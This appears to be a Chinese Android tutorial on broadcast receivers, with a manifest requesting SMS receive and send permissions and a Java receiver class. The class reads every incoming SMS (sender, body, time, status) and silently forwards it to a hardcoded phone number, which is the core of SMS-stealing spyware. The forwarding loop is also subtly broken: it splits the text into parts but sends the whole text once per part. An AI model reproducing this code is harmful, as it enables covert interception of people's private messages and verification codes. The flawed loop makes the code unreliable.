1. 注冊广播接收者
2. 加入权限

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.android_broadcastreceive"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="14"

        android:targetSdkVersion="19" />

    <!-- 短信权限 -->

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>

    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <!-- SMBbroadcastReceive广播接收器 -->

        <receiver android:name="com.example.android_broadcastreceive.receive.SMBbroadcastReceive">

            <intent-filter >

                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

            </intent-filter>

        </receiver>

    </application>

</manifest>

SMBbroadcastReceive.java

1. 继承BroadcastReceiver类而且重写onReceive()方法
2. 获取短信内容
3. 创建短信管理对象
4. 获取详细对象
5. 获取须要的信息

package com.example.android_broadcastreceive.receive;

import java.util.List;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.os.Bundle;

import android.telephony.SmsManager;

import android.telephony.SmsMessage;

import android.util.Log;

/**

 * 短信广播接收者

 *

 * @author zhaoyazhi

 *

 *         2014-6-16

 */

public class SMBbroadcastReceive extends BroadcastReceiver {

	private static final String TAG = "SMBbroadcastReceive";

	@Override

	public void onReceive(Context context, Intent intent) {

		Log.i(TAG, "接收发过来的广播");

		Bundle bundle = intent.getExtras();

		// 推断这个參数是否为null

		if (bundle != null) {

			// 依据get(pdus)參数获取这个短信内容，发送短信大于70字符（自己主动拆分）

			Object[] pdus = (Object[]) bundle.get("pdus");

			SmsManager sms = SmsManager.getDefault();

			// 创建短信的管理器对象

			for (int i = 0; i < pdus.length; i++) {

				// 获取详细对象

				Object pdu = pdus[i];

				// 通过短信消息对象的createFromPdu(pdu)转换成短信的消息对象

				SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);

				// 获取短信的内容

				String msg = message.getMessageBody();

				// 获取始发人

				String originatingAddress = message.getOriginatingAddress();

				// 时间

				long time = message.getTimestampMillis();

				// 状态

				int status = message.getStatus();

				String text = "发送人：" + originatingAddress + "-------------内容："

						+ msg + "-------------时间" + time + "-------------读取状态"

						+ status;

				// 转发的时候进行短信分开发送

				List<String> list = sms.divideMessage(text);

				//输出截取的短信内容

				Log.i(TAG, text);

				for (String s : list) {

					//转发短信内容

					sms.sendTextMessage("18931137891", null, text, null, null);

				}

			}

		}

	}

}